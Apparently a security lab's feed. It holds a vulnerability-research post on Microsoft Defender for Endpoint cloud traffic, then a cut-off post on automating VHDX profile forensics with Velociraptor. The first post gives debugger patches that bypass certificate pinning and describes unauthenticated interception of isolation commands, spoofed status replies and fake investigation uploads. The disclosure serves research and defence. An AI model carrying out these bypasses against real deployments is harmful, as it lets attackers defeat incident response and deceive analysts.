&lt;p&gt;EDR solutions are complex software with a large attack surface. A missing piece in our series on attacking EDRs (&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1: Attack Surface and Intro to Driver Analysis&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2: Driver Analysis Results&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3: DoS of EDR agents&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/&quot;&gt;Part 4: Fuzzing Defender&lt;/a&gt;) is the communication between the agent and the cloud. This post is a part of this research. We will publish findings on other EDRs at a later time.&lt;/p&gt;
&lt;p&gt;The only other public research I found on this topic is a post from FalconForce &lt;a href=&quot;https://falconforce.nl/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint/&quot;&gt;here&lt;/a&gt;. They analyzed the web communication by dumping the HTTP requests and responses from memory using a debugger. While this is a cumbersome setup for identifying vulnerabilities, they successfully found an authentication issue related to sending alert data (CVE-2022–23278).&lt;/p&gt;
&lt;p&gt;Therefore, I decided to use Burp Suite as a proxy and bypass certificate pinning by patching the validation function in memory.&lt;/p&gt;
&lt;h1&gt;Analyzing network traffic&lt;/h1&gt;
&lt;p&gt;Analyzing Defender for Endpoint agent&apos;s network traffic requires some effort because it uses certificate pinning.&lt;/p&gt;
&lt;p&gt;The proxy settings used by DFE can be configured via:
&lt;code&gt;netsh winhttp set proxy &amp;lt;proxy&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Afterwards, you will notice certificate errors in the proxy and the agent stops the communication.&lt;/p&gt;
&lt;p&gt;In order to debug the &lt;code&gt;MsSense.exe&lt;/code&gt; process which performs the communication, I  used WinDBG as a kernel debugger (see &lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/#31-debugging-defender&quot;&gt;Part 4: 3.1 Debugging Defender&lt;/a&gt;).
Using a user-mode debugger would require bypassing the agent&apos;s self-protection features.&lt;/p&gt;
&lt;p&gt;To my surprise, there is very little information, write-ups or FRIDA-scripts on how to bypass certificate pinning for native Windows libraries such as &lt;code&gt;Wininet&lt;/code&gt;. Therefore, I spent some time reverse-engineering the TLS communication in MsSense and examining example certificate pinning implementations for Windows. I ultimately bypassed the check by patching the &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; a CRYPT32!CertVerifyCertificateChainPolicy
00007ffe`e1215d20 mov eax, 1
00007ffe`e1215d25 ret
00007ffe`e1215d26 
0: kd&amp;gt; u CRYPT32!CertVerifyCertificateChainPolicy
CRYPT32!CertVerifyCertificateChainPolicy:
00007ffe`e1215d20 b801000000      mov     eax,1
00007ffe`e1215d25 c3              ret
00007ffe`e1215d26 084989          or      byte ptr [rcx-77h],cl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, the plain text communication can be analyzed:
&lt;img src=&quot;./burp_proxy_example.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, I still observed intermittent certificate errors in the Burp logs.
Using &lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/tcpview&quot;&gt;TCPView&lt;/a&gt;, I noticed that the process &lt;code&gt;SenseIR.exe&lt;/code&gt; sometimes starts and opens network connections.&lt;/p&gt;
&lt;p&gt;These connections can also be intercepted by patching the following functions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; a SenseIR!web::http::client::details::winhttp_client::verify_certificate_chain
00007ff6`081404b0 mov eax, 1
00007ff6`081404b5 ret
00007ff6`081404b6 
1: kd&amp;gt; a SenseIR!web::http::client::details::winhttp_request_context::on_send_request_validate_cn
00007ff6`0813c6f0 mov eax, 0
00007ff6`0813c6f5 ret
00007ff6`0813c6f6 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, all requests can be intercepted including the data upload to an Azure Blob:
&lt;img src=&quot;./burp_senseir_comm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important{title=&quot; &quot;}
Interestingly, the &lt;code&gt;CloudLR&lt;/code&gt; tokens were still valid three months later at the time of writing this blog post.
:::&lt;/p&gt;
&lt;h1&gt;Findings&lt;/h1&gt;
&lt;p&gt;The following findings can be abused without being on the target host. It directly targets vulnerabilities in the the backend endpoints.&lt;/p&gt;
&lt;h2&gt;Intercept &lt;code&gt;Commands&lt;/code&gt; (Authentication Bypass and Spoofing Data)&lt;/h2&gt;
&lt;p&gt;The agent regularly sends a request to &lt;code&gt;https://[location-specific-host]/edr/commands/cnc&lt;/code&gt;. If a command is available from the backend, the server returns it in the response. These commands are for example: &lt;code&gt;isolationcommand&lt;/code&gt;, &lt;code&gt;forensicscollectioncommand&lt;/code&gt;, &lt;code&gt;scancommand&lt;/code&gt; or &lt;code&gt;incidentresponsecommand&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cnc_command_example.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Empty response &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cnc_command_example_true.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Response command &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;:::important
Although the requests sent by Defender contain an &lt;code&gt;Authorization&lt;/code&gt; token and a &lt;code&gt;Msadeviceticket&lt;/code&gt;, the backend completely ignores these values.
:::&lt;/p&gt;
&lt;p&gt;Therefore, an unauthenticated attacker who knows the &lt;code&gt;machine-ID&lt;/code&gt; and &lt;code&gt;tenant-ID&lt;/code&gt; can send valid requests to this URL. These values can be read by low-privileged users on the system.
Once the backend sends the command in a response, it will not send it again to subsequent requests.
The following two screenshots show the Burp proxy on the left side and an Intruder window on the right that continiously makes requests to &lt;code&gt;/edr/commands/cnc&lt;/code&gt;. The Intruder request (first screenshot) obtained the response (second screenshot), so the legitimate request from Defender did not receive a response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./commands_cnc_stop_commands1.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Intruder request &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./commands_cnc_stop_commands2.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Intruder response &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;An attacker can then upload arbitrary fake data to the provided Azure Blob URI (&lt;code&gt;sasuri&lt;/code&gt; in the screenshot). Some other commands such as &lt;code&gt;isolationcommand&lt;/code&gt; can be returned with a request to &lt;code&gt;https://[location-specific-host]/commands/status&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Example Attack: Prevent Isolation and Spoof Result&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./example_attack_isolation.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Intercept command:&lt;/strong&gt; First, intercept the isolation command intended for the target host. The actual agent does not receive the command.
&lt;img src=&quot;./isolation_1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Spoof Response:&lt;/strong&gt; Next, send a spoofed response with the status &lt;code&gt;Already isolated&lt;/code&gt; to the corresponding command ID.
&lt;img src=&quot;./isolation_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Isolation bypassed:&lt;/strong&gt; The result is an unisolated device that is reported as &apos;isolated&apos; in the Microsoft Defender Portal.
&lt;img src=&quot;./isolation_3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The serialization format is annoying, so the easiest approach is to capture a legitimate response using a proxy and then modify it. As of October 10, 2025, I noticed that requests to https://winatp-gw-weu3.microsoft.com/commands/cnc are being throttled by the server. This was not the case in July.&lt;/p&gt;
&lt;h2&gt;Intercept &lt;code&gt;Actions&lt;/code&gt; (Authentication Bypass and Spoofing Data)&lt;/h2&gt;
&lt;p&gt;This vulnerability is very similar to the previous one (Intercept Commands). It involves a different set of &quot;actions&quot; (e.g., &lt;code&gt;Live Response&lt;/code&gt; or &lt;code&gt;Automated Investigation&lt;/code&gt;) sent via a different URL (&lt;code&gt;/senseir/v1/actions/&lt;/code&gt;) and uses different, but still ignored, authentication tokens.&lt;/p&gt;
&lt;p&gt;Same as above, the Intruder window on the right obtains a response which the actual target does not receive. The proxy window on the left also obtains an action but it&apos;s a different one that was returned to this request because the intruder requests were running slowly. Therefore, both obtained a response but the actual target only received one instead of many:
&lt;img src=&quot;./senseir_steal_actions1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Again, there is no effective authentication. An attacker can obtain a valid &lt;code&gt;CloudLR&lt;/code&gt; token without authentication by using just the machine ID.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_token_cloudLR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These actions are encoded using &lt;a href=&quot;https://github.com/microsoft/bond&quot;&gt;Microsoft Bond&lt;/a&gt;.
To get an idea of their contents, I used a LLM to write a decoder that could decode the data as much as possible without additional metadata:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_steal_actions2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards, an attacker needs to send additional requests to obtain the Azure Blob URL and upload the fake data there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_flow.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
If an investigation package is requested, an attacker could place similarly named malicious files within the uploaded data. It is plausible that an analyst might open them without suspicion.
:::&lt;/p&gt;
&lt;h2&gt;Unauthenticated IR-Exclusions&lt;/h2&gt;
&lt;p&gt;An unauthenticated user can obtain &lt;a href=&quot;https://learn.microsoft.com/en-us/defender-endpoint/manage-automation-folder-exclusions&quot;&gt;IR-exclusions&lt;/a&gt; by sending a request to the registration endpoint. These are not detection or prevention exclusions, but rather files and folders excluded from automated or manual IR actions. The organization ID required for this request can be read by any user from the registry.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_actions_exclusions_unauth2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;General Agent Configuration&lt;/h2&gt;
&lt;p&gt;An unauthenticated request to &lt;code&gt;https://[location-specific-host]/edr/commands/cnc&lt;/code&gt; returns an 8MB file of configuration data. While the data does not appear to be tenant-specific, it could provide useful information about detection rules and exclusions. It is unclear how exactly this data is used by the agent, but it contains various configurations:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./config_unauth2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This includes configurations such as &lt;code&gt;RegistryMonitoringConfiguration&lt;/code&gt;, &lt;code&gt;DriverReadWriteAccessProcessList&lt;/code&gt;, &lt;code&gt;DriverReadOnlyOpenProcessList&lt;/code&gt;, &lt;code&gt;ASR&lt;/code&gt;-data, and other information that could be valuable to an attacker.&lt;/p&gt;
&lt;p&gt;:::note
Depending on the &lt;code&gt;cncBitmask&lt;/code&gt;, it returns different data
:::&lt;/p&gt;
&lt;h2&gt;Enumeration done by DFE (InvestigationPackage)&lt;/h2&gt;
&lt;p&gt;If an investigation was previously triggered on a compromised host, the resulting data package might still be available on the filesystem, and it is readable by any user:
&lt;img src=&quot;./filepermissions_investigationpackage.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It contains various types of information that are valuable for an attacke (e.g. Autoruns, installed programs, network connections, ...) :
&lt;img src=&quot;./filepermissions_investigationpackage_info.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;These findings were straightforward to identify once the web traffic was intercepted. This demonstrates that simple vulnerabilities can remain undiscovered for years in components that are difficult to analyze.&lt;/p&gt;
&lt;p&gt;I disagree with MSRC&apos;s assessment that these findings do not warrant remediation. The ability for an unauthenticated network-based attacker to impede the incident response process post-breach should be addressed. Furthermore, the risk of security analysts being targeted with malicious files via investigation packages is significant. The agent uses three different types of authentication tokens, yet all of them are either ignored by the backend or obtainable without any real authentication.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Automation of VHDX Investigations</title><link>https://labs.infoguard.ch/posts/automation_of_vhdx_investigations/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/automation_of_vhdx_investigations/</guid><description>Automating VHDX investigations can transform how DFIR teams handle virtual desktop environments. By integrating Velociraptor with a smart remapping workflow, this approach enables seamless analysis of virtual profiles, reducing manual effort, increasing speed, and ensuring consistent, scalable results across investigations.</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In large-scale environments using Virtual Desktop Infrastructure (VDI) platforms like Citrix, incident responders can find it challenging to identify the initial point of compromise. While some setups use non-persistent sessions with golden image restoration, many environments persist user data on remote file servers. Instead of storing profiles as standard folders, it is common to find them stored within Virtual Hard Disk (VHDX) files.&lt;br /&gt;
These VHDX files often contain valuable forensic artefacts such as NTUSER.DAT hives and application execution traces. Investigating them manually, however, becomes inefficient at scale, especially when dealing with thousands of user profiles.&lt;br /&gt;
This blog post introduces a method for automating forensic analysis of VHDX-based user profiles using Velociraptor, our preferred DFIR tool. The goal is to scale investigations efficiently and reliably without compromising forensic integrity.&lt;/p&gt;
&lt;h1&gt;VHDX&lt;/h1&gt;
&lt;p&gt;Virtual Hard Disk v2 (VHDX) is a file format representing a virtual hard disk drive, containing its own partition layout and file system. It is commonly used in VDI environments to store individual user data, such as the roaming profile and the NTUSER.DAT registry hive.&lt;br /&gt;
From a forensic perspective, VHDX files can hold high-value artefacts, such as evidence of application execution via UserAssist and persistence mechanisms through registry run keys, both typically found within the NTUSER.DAT hive.&lt;br /&gt;
It is common for VDI platforms to store the contents of &lt;code&gt;C:\Users\&amp;lt;Username&amp;gt;\&lt;/code&gt; within a dedicated VHDX file, effectively treating each user profile as a standalone virtual disk image.&lt;/p&gt;
&lt;h1&gt;The Velociraptor Way&lt;/h1&gt;
&lt;p&gt;Velociraptor is a modern, open-source DFIR (Digital Forensics and Incident Response) tool used by many organisations to hunt for threats, collect artefacts, and conduct scalable investigations across enterprise environments. The link below provides an introduction to the tool and details on building artefacts.&lt;br /&gt;
&lt;a href=&quot;https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir&quot;&gt;https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir&lt;/a&gt;&lt;br /&gt;
While Velociraptor supports VHDX accessors that allow direct parsing of virtual disk images. This setup typically requires custom artefacts designed for specific use cases, such as parsing UserAssist or registry hives within a mounted VHDX file. Therefore, each forensic check would require a dedicated artefact capable of understanding the VHDX structure.&lt;br /&gt;
A more scalable approach is to reuse existing Velociraptor artefacts, such as &lt;code&gt;Windows.Registry.UserAssist&lt;/code&gt; or &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;, without modification. The purpose of this research was to enable that capability: to support native artefacts when analysing data stored in VHDX-based user profiles.&lt;br /&gt;
To achieve this, we leverage &lt;em&gt;virtual Velociraptor clients,&lt;/em&gt; instances configured to remap their environment to a specific VHDX file, similar to how Velociraptor operates in deaddisk mode. In this blog post, we’ll refer to these as virtual Velociraptor clients.&lt;br /&gt;
The concept is simple: run a virtual client on the file server where VHDX profiles are stored, and remap its configuration to point to one or more VHDX images. Several technical steps are required to make this work reliably. Let’s explore them one by one.&lt;br /&gt;
&lt;img src=&quot;files/vhdx-drawio.png&quot; alt=&quot;VHDX.drawio&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Sys.Users&lt;/h2&gt;
&lt;p&gt;Many Velociraptor artefacts which target the user registry, such as &lt;code&gt;Windows.Registry.UserAssist,&lt;/code&gt; access the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive through the &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt; artefact. However, this artefact relies on &lt;code&gt;Windows.Sys.Users&lt;/code&gt; to enumerate the list of user profiles present on the system.&lt;br /&gt;
By default, the &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact retrieves user information from the following registry key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works as expected on endpoint systems but fails on virtual Velociraptor clients, where this registry key relates to the one on the file server and not from the VHDX-based profiles. In such environments, since the key is from a system-based hive, it only reflects the local system users, not those stored in VHDX containers.&lt;br /&gt;
As a result, Velociraptor is unable to discover or parse the NTUSER.DAT hives located inside the VHDX files.&lt;br /&gt;
To overcome this, we explore two possible solutions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Fake registry remapping:&lt;/strong&gt; inject a synthetic &lt;code&gt;ProfileList&lt;/code&gt; registry hive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Artefact override:&lt;/strong&gt; customise &lt;code&gt;Windows.Sys.Users&lt;/code&gt; to support VHDX discovery logic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Fake registry remapping&lt;/strong&gt;&lt;br /&gt;
One approach to solving the user enumeration problem is to remap not only the file system to the VHDX image, but also the &lt;code&gt;ProfileList&lt;/code&gt; registry key. By providing a custom registry hive that mimics this key, Velociraptor can be tricked into &quot;seeing&quot; the VHDX-hosted profiles as if they were locally present.&lt;br /&gt;
In the example below, we use PowerShell to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create temporary registry keys for each user.&lt;/li&gt;
&lt;li&gt;Set their &lt;code&gt;ProfileImagePath&lt;/code&gt; values to simulate the standard Windows user structure.&lt;/li&gt;
&lt;li&gt;Export the registry hive to a &lt;code&gt;.dat&lt;/code&gt; file.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# Define paths for the temporary hive and final file
$tempHivePath = &quot;HKLM\Software\Velociraptor&quot;
$binaryFilePath = &quot;C:/Program Files/Velociraptor/Profile/ProfileList.dat&quot;

# Add the users to the temp hive
reg.exe add &quot;$($tempHivePath)\Brontosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Brontosaurus&quot; /f 
reg.exe add &quot;$($tempHivePath)\Stegosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Stegosaurus&quot; /f
reg.exe add &quot;$($tempHivePath)\Tyrannosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Tyrannosaurus&quot; /f

# Export the temp hive
reg exe save $tempHivePath $binaryFilePath

# Cleanup the temp hive
reg.exe delete $tempHivePath /f

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we configure a YAML remapping to instruct Velociraptor to mount this exported hive in place of the original &lt;code&gt;ProfileList&lt;/code&gt; key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- type: mount
  description: &apos;Registry - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList&apos;
  from:
    accessor: raw_reg
    prefix: |
      {
        &quot;Path&quot;: &quot;/&quot;
        &quot;DelegateAccessor&quot;: &quot;file&quot;
        &quot;DelegatePath&quot;: &quot;C:/Program Files/Velociraptor/Profile/ProfileList.dat&quot;
      }
      path_type: registry
  &quot;on&quot; :
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    path_type: registry

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this setup, any call to &lt;code&gt;Windows.Sys.Users&lt;/code&gt; will retrieve the synthetic entries we defined, allowing downstream artefacts (like &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;) to function correctly.
However, this approach has limitations. It involves manual steps that must be repeated whenever new users are added. Therefore, it is most suitable for small-scale, targeted investigations or proof-of-concept testing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Artefact Override&lt;/strong&gt;&lt;br /&gt;
A more robust and scalable solution is to override the default &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact. The customised version maintains compatibility with standard systems while adding logic to detect and enumerate VHDX-based profiles when operating in a virtual Velociraptor client context.&lt;br /&gt;
The core idea is to introduce a conditional check based on the Velociraptor client’s label. If the client is tagged with a specific label (e.g., remapped_profile), the artefact will scan for NTUSER.DAT files within &lt;code&gt;C:\Users\*\&lt;/code&gt; instead of relying on the traditional registry key.&lt;br /&gt;
The VQL override below illustrates this logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LET GetTimestamp(High, Low) = if(condition=High,
        then=timestamp(winfiletime=High * 4294967296 + Low))

// lookupSID() may not be available on deaddisk analysis
LET Standard = SELECT split(string=Key.OSPath.Basename, sep=&quot;-&quot;)[-1] as Uid,
   &quot;&quot; AS Gid,
   LookupSIDCache(SID=Key.OSPath.Basename || &quot;&quot;) AS Name,
   Key.OSPath as Description,
   ProfileImagePath as Directory,
   Key.OSPath.Basename as UUID,
   Key.Mtime as Mtime,
   {
        SELECT Mtime
        FROM stat(filename=expand(path=ProfileImagePath))
    } AS HomedirMtime,
   dict(ProfileLoadTime=GetTimestamp(
           High=LocalProfileLoadTimeHigh, Low=LocalProfileLoadTimeLow),
        ProfileUnloadTime=GetTimestamp(
           High=LocalProfileUnloadTimeHigh, Low=LocalProfileUnloadTimeLow)
   ) AS Data
FROM read_reg_key(globs=remoteRegKey, accessor=&quot;registry&quot;)

// User list for remapped VHDX profiles emulating the Standard one
LET VHDXProfile = SELECT
      OSPath.Components[-2] AS Uid,
      OSPath.Dirname AS Directory,
      OSPath.Components[-2] AS UUID,
      OSPath.Components[-2] AS Name,
      &quot;&quot; AS Gid,
      Mtime,
      Mtime AS HomedirMtime,
      &quot;HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\&quot; + OSPath.Components[-2] AS Description
    FROM glob(globs=&quot;C:/Users/*/NTUSER.DAT&quot;)

// Get the labels of the agent 
LET agent_config = SELECT labels FROM config

// Take the appropriate user list method
SELECT * FROM if(condition=agent_config.labels=~labelName, then=VHDXProfile, else=Standard)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the artefact override is written, it can be deployed at the server level using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/bin/velociraptor —config /etc/velociraptor/server.config.yaml —definitions /etc/velociraptor/artifact_definitions frontend

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this configuration, the Velociraptor server will automatically distribute the custom artefact to clients. There’s no need to modify individual client configurations. Any virtual client launched with the appropriate label (e.g., remapped_profile) will use the VHDX logic seamlessly.&lt;br /&gt;
This is a better solution as it centralises logic, reduces operational overhead, and supports dynamic scaling, making it ideal for multi-user investigations.&lt;/p&gt;
&lt;h2&gt;Remapping Configuration&lt;/h2&gt;
&lt;p&gt;Once the user enumeration issue is resolved using the artefact override, the next step is to create a remapping configuration that links specific user profile paths (e.g. &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt;) to their corresponding VHDX files.&lt;br /&gt;
This remapping is crucial: it allows Velociraptor’s artefacts, which expect standard Windows paths, to transparently operate on data stored within VHDX containers.&lt;br /&gt;
Below is an example of a remapping configuration for the NTFS accessor, pointing &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt; to a specific VHDX file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- type: mount
  description: &apos;NTFS - Brontomerus&apos;
  from:
    accessor: raw_ntfs
    prefix: |
      {
        &quot;DelegateAccessor&quot;: &quot;offset&quot;,
        &quot;Delegate&quot;: {
          &quot;DelegateAccessor&quot;: &quot;vhdx&quot;,
          &quot;DelegatePath&quot;: &quot;F:/VHDX/Profile_Brontomerus.VHDX&quot;,
          &quot;Path&quot;:&quot;/1048576&quot;
        },
        &quot;Path&quot;: &quot;/Profile&quot;
      }
  &quot;on&quot;:
    accessor: ntfs
    prefix: &apos;\\.\C:\Users\Brontomerus&apos;
    path_type: ntfs

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This remapping allows the virtual Velociraptor client to access the contents of the VHDX file as if it were the actual &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt; directory on disk.
To ensure full compatibility with Velociraptor artefacts, similar remappings should be created for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt; accessor for standard file operations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto&lt;/code&gt; accessor for hybrid path resolution&lt;/li&gt;
&lt;li&gt;&lt;code&gt;registry&lt;/code&gt; accessor for registry hive access&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When these accessors are mapped properly, standard artefacts (like &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;, &lt;code&gt;Windows.Registry.UserAssist&lt;/code&gt;, etc.) will function as expected within the virtual client context.&lt;/p&gt;
&lt;h2&gt;Virtual Client Creation&lt;/h2&gt;
&lt;p&gt;With the remapping configuration in place, we can now launch a &lt;strong&gt;virtual Velociraptor client&lt;/strong&gt;. This is a standalone Velociraptor process that operates like a deaddisk client, using the remapped paths to access the contents of a specific VHDX file as if it were a local user profile.&lt;br /&gt;
The following PowerShell command starts the virtual client using the appropriate configuration and remapping YAML file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Start-Process -FilePath &apos;.\Velociraptor.exe&apos; -ArgumentList &apos;—config client.config.yaml —config.client-writeback-windows=&quot;velociraptor_vhdx.writeback.yaml&quot; —config.client-local-buffer-filename-windows=&quot;C:\Windows\Temp\velociraptor_vhdx_Buffer.bin&quot; —remap &quot;C:\Program Files\Velociraptor\velociraptor_vhdx_remapping.yaml&quot; —config.client-labels=remapped_profile client&apos; -WorkingDirectory &apos;C:\Program Files\Velociraptor&apos; -WindowStyle Hidden
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once launched, the virtual client behaves like any standard Velociraptor endpoint, but its file system and registry access are redirected to the contents of the mounted VHDX. This enables seamless browsing of the virtual profile via the Virtual File System (VFS).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/image_a.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It also allows running existing artefacts or any other profile-level checks.&lt;br /&gt;
&lt;img src=&quot;files/image.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
This virtual client is not persistent. If the system reboots or the client crashes, the process must be relaunched. Fortunately, this can be done using the same artefact described later in this post.&lt;/p&gt;
&lt;h1&gt;Let&apos;s Scale Up&lt;/h1&gt;
&lt;p&gt;With a single virtual client successfully analysing one user profile, the next logical step is to scale the approach. During real-world incidents, it is common to have multiple users to investigate. Investigating each profile manually is inefficient, so automation and parallelisation become essential.&lt;br /&gt;
However, running multiple virtual Velociraptor clients on the same host introduces performance considerations. In our tests, we evaluated three strategies for scaling up to 1,000 user profiles (each stored in a ~2 GB VHDX file).&lt;/p&gt;
&lt;h2&gt;All in One Remapping&lt;/h2&gt;
&lt;p&gt;This approach loads all VHDX files into a single remapping configuration, resulting in a YAML file about 2.6 MB in size. While ideally efficient, it caused instability; the virtual client crashed during execution of simple artefacts (e.g., &lt;code&gt;Generic.Client.Info&lt;/code&gt;), probably due to too many VHDX files being open simultaneously, exceeding system limits.&lt;br /&gt;
&lt;img src=&quot;files/image_v.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;One-to-One Clients&lt;/h2&gt;
&lt;p&gt;Here, we spun up one virtual Velociraptor client per user profile. This would work best as each profile has its own virtual client, which eases the logic. However, this resulted in excessive system resource usage and hundreds of active processes, which is not sustainable for large-scale investigations.&lt;/p&gt;
&lt;h2&gt;Batching: The Optimal Middle Ground&lt;/h2&gt;
&lt;p&gt;The most effective approach was to launch multiple virtual clients, each handling a batch of 40 profiles. This method balances load across processes and avoids overwhelming system resources.&lt;br /&gt;
&lt;img src=&quot;files/image_9.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
With this configuration, we analysed the UserAssist of 1,000 VHDX files in under 30 seconds.&lt;br /&gt;
&lt;img src=&quot;files/image_s.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
Use a batching strategy tuned to your environment (e.g. 20–50 profiles per client). The optimal batch size will depend on your hardware and the size of the VHDX files.&lt;/p&gt;
&lt;h1&gt;Artefacts&lt;/h1&gt;
&lt;p&gt;The artefacts have been divided into four main functions: the initial setup, the creation of the remapping configuration file, the virtual Velociraptor client runner, and the virtual Velociraptor client remover.&lt;br /&gt;
To streamline the investigation of VHDX-based user profiles, we developed a suite of Velociraptor artefacts to automate the entire process, from configuration to client execution and teardown. These artefacts fall into four primary categories:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Server setup:&lt;/strong&gt; allow the whole setup to work&lt;/li&gt;
